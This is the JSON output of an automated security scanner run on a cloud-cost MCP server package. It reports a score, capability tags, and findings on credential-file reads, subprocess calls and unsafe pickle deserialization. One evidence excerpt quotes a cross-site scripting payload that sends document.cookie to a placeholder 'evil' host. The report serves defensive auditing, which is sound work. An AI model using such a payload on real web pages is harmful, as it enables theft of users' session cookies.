Finops — the complete, unedited output of the deterministic mcptrustchecker engine v1.13.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.
{
"tool": {
"name": "mcptrustchecker",
"version": "1.13.0",
"methodologyVersion": "mcptrustchecker-1.13"
},
"target": {
"id": "finops-mcp",
"source": {
"kind": "package",
"origin": "finops-mcp"
},
"server": {
"name": "finops-mcp"
}
},
"grade": "B",
"score": {
"score": 87,
"threatScore": 94,
"grade": "B",
"band": "B",
"categorySubtotals": {
"injection": 0,
"exfiltration": 0,
"permissions": 6.3,
"supply-chain": 0,
"network": 0,
"hygiene": 0
},
"vector": [
{
"kind": "threat",
"ruleId": "MTC-SRC-007",
"category": "permissions",
"severity": "medium",
"confidence": "strong",
"rawWeight": 9,
"confidenceMult": 0.7,
"diminishingFactor": 1,
"appliedPenalty": 6.3
},
{
"kind": "client",
"term": "capability-exposure",
"level": "high",
"label": "capability blast radius (high) — client exposure if the model is manipulated",
"appliedPenalty": 6
},
{
"kind": "client",
"term": "verification-discount",
"level": "repo",
"label": "publisher verification (public source) — no provenance, but the source is public and inspectable",
"appliedPenalty": 1
},
{
"kind": "client",
"term": "coverage-honesty",
"level": "source",
"label": "inspection depth (source) — how much of the target the scan could see",
"appliedPenalty": 0
}
],
"gatesFired": [],
"methodologyVersion": "mcptrustchecker-1.13"
},
"capability": {
"level": "high",
"reasons": [
"can send data / act on an external service",
"reads sensitive or local data",
"has a read → egress path (a data-exfiltration surface)",
"can execute shell commands or code"
],
"tags": [
"sensitive-source",
"code-exec",
"external-sink"
]
},
"coverage": {
"level": "source",
"inputs": {
"toolSurface": true,
"implementationSource": true,
"packageMetadata": true,
"liveTransport": false
},
"caveats": [
"Tools were statically extracted from the published source (10 recovered), not enumerated from a running server. Tool-poisoning, Unicode-smuggling, capability and toxic-flow analysis ran on this inferred surface, but a mis-parsed registration could be missed or mis-attributed, so tool-derived findings are capped below “confirmed”. To grade the real runtime surface, scan the running server: --command \"npx -y <package>\"."
]
},
"findings": [
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (src/finops/ambient.py)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/ambient.py:4`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/ambient.py"
},
"evidence": "fault chain: env vars, ~/.aws/credentials, named profiles, SSO, IMDS, ECS task roles. Azure asked only whether three ser",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "src/finops/ambient.py",
"line": 4,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (src/finops/analyzers/optimizer.py)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/analyzers/optimizer.py:59`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/analyzers/optimizer.py"
},
"evidence": "hain (env vars → ~/.aws/credentials → instance profile) \"\"\" import boto3 if role_arn: sts = b",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "src/finops/analyzers/optimizer.py",
"line": 59,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (src/finops/cli_scan.py)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/cli_scan.py:827`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/cli_scan.py"
},
"evidence": "looked in: env vars, ~/.aws/credentials, ~/.aws/config (SSO), instance metadata\", \" fix: `aws configu",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "src/finops/cli_scan.py",
"line": 827,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (src/finops/setup/cloud_infra.py)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/setup/cloud_infra.py:758`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/setup/cloud_infra.py"
},
"evidence": "credentials (IAM role, ~/.aws/credentials, env vars). Zero config if already set up.\", }, { \"id\": \"aws_c",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "src/finops/setup/cloud_infra.py",
"line": 758,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (src/finops/setup_wizard.py)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/setup_wizard.py:531`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/setup_wizard.py"
},
"evidence": "ole credential was ~/.aws/credentials got \"Found AWS credentials\" from one command and \"No unconnected credentia",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "src/finops/setup_wizard.py",
"line": 531,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/finops/connectors/terraform.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/connectors/terraform.py:43`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/connectors/terraform.py"
},
"evidence": "on.load(f) result = subprocess.run( [os.environ.get(\"TERRAFORM_BIN\", \"terraform\"), \"show\", \"-json\"],",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/finops/connectors/terraform.py",
"line": 43,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/finops/connectors/terraform_estimate.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/connectors/terraform_estimate.py:630`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/connectors/terraform_estimate.py"
},
"evidence": "plan.bin\") r1 = subprocess.run( [tf_bin, \"plan\", \"-out=\" + plan_path, \"-input=false\", \"-lock=false\"]",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/finops/connectors/terraform_estimate.py",
"line": 630,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/finops/remediation/rightsizing_pr.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/remediation/rightsizing_pr.py:56`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/remediation/rightsizing_pr.py"
},
"evidence": "child_env result = subprocess.run( [\"git\", *args], cwd=tf_dir, capture_output=True,",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/finops/remediation/rightsizing_pr.py",
"line": 56,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/finops/setup_wizard.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/setup_wizard.py:889`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/setup_wizard.py"
},
"evidence": "ss try: r = subprocess.run([\"aws\", \"--version\"], capture_output=True, text=True, timeout=5) blob = (",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/finops/setup_wizard.py",
"line": 889,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/finops/tagging/tf_state.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/tagging/tf_state.py:61`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/tagging/tf_state.py"
},
"evidence": "erraform\") result = subprocess.run( [tf_bin, \"show\", \"-json\"], cwd=tf_dir, capture_output=Tr",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/finops/tagging/tf_state.py",
"line": 61,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/finops/tools/notifications.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/tools/notifications.py:175`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/tools/notifications.py"
},
"evidence": "subprocess subprocess.Popen([\"open\", output[\"html\"]]) except Exception: pass resul",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/finops/tools/notifications.py",
"line": 175,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/finops/tools/tickets.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/tools/tickets.py:112`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/tools/tickets.py"
},
"evidence": "arwin\": subprocess.Popen([\"open\", path]) elif sys.platform.startswith(\"linux\"):",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/finops/tools/tickets.py",
"line": 112,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (src/finops/reporting/exporter.py)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/reporting/exporter.py:175`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/reporting/exporter.py"
},
"evidence": "ed `<img src=x onerror=\"fetch('https://evil/'+document.cookie)\">` was written into the export as live markup, so who",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "src/finops/reporting/exporter.py",
"line": 175,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-007",
"title": "Unsafe deserialization (src/finops/cache.py)",
"category": "permissions",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`src/finops/cache.py:286`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/finops/cache.py"
},
"evidence": "urn (float(expires_at), pickle.loads(payload)) except Exception: return None finally: try:",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-007",
"file": "src/finops/cache.py",
"line": 286,
"nonRuntime": false
}
}
],
"toxicFlows": [],
"capabilities": [
{
"tool": "mark_recommendation_acted_on",
"tags": [],
"reasons": {}
},
{
"tool": "dismiss_recommendation",
"tags": [],
"reasons": {}
},
{
"tool": "suggest_cost_policies",
"tags": [],
"reasons": {}
},
{
"tool": "remember_cost_context",
"tags": [],
"reasons": {}
},
{
"tool": "get_learned_cost_context",
"tags": [],
"reasons": {}
},
{
"tool": "forget_cost_context",
"tags": [],
"reasons": {}
},
{
"tool": "verify_savings",
"tags": [],
"reasons": {}
},
{
"tool": "get_savings_ledger",
"tags": [],
"reasons": {}
},
{
"tool": "get_recommendation_quality",
"tags": [],
"reasons": {}
},
{
"tool": "get_recommendation_learning",
"tags": [],
"reasons": {}
}
],
"surfaceDigest": "5a772d652d8641cc5504dc6dfd8c6f87813257943747313f0859512ca8e78847",
"stats": {
"tools": 10,
"prompts": 0,
"resources": 0,
"findingsBySeverity": {
"critical": 0,
"high": 12,
"medium": 2,
"low": 0,
"info": 0
}
}
}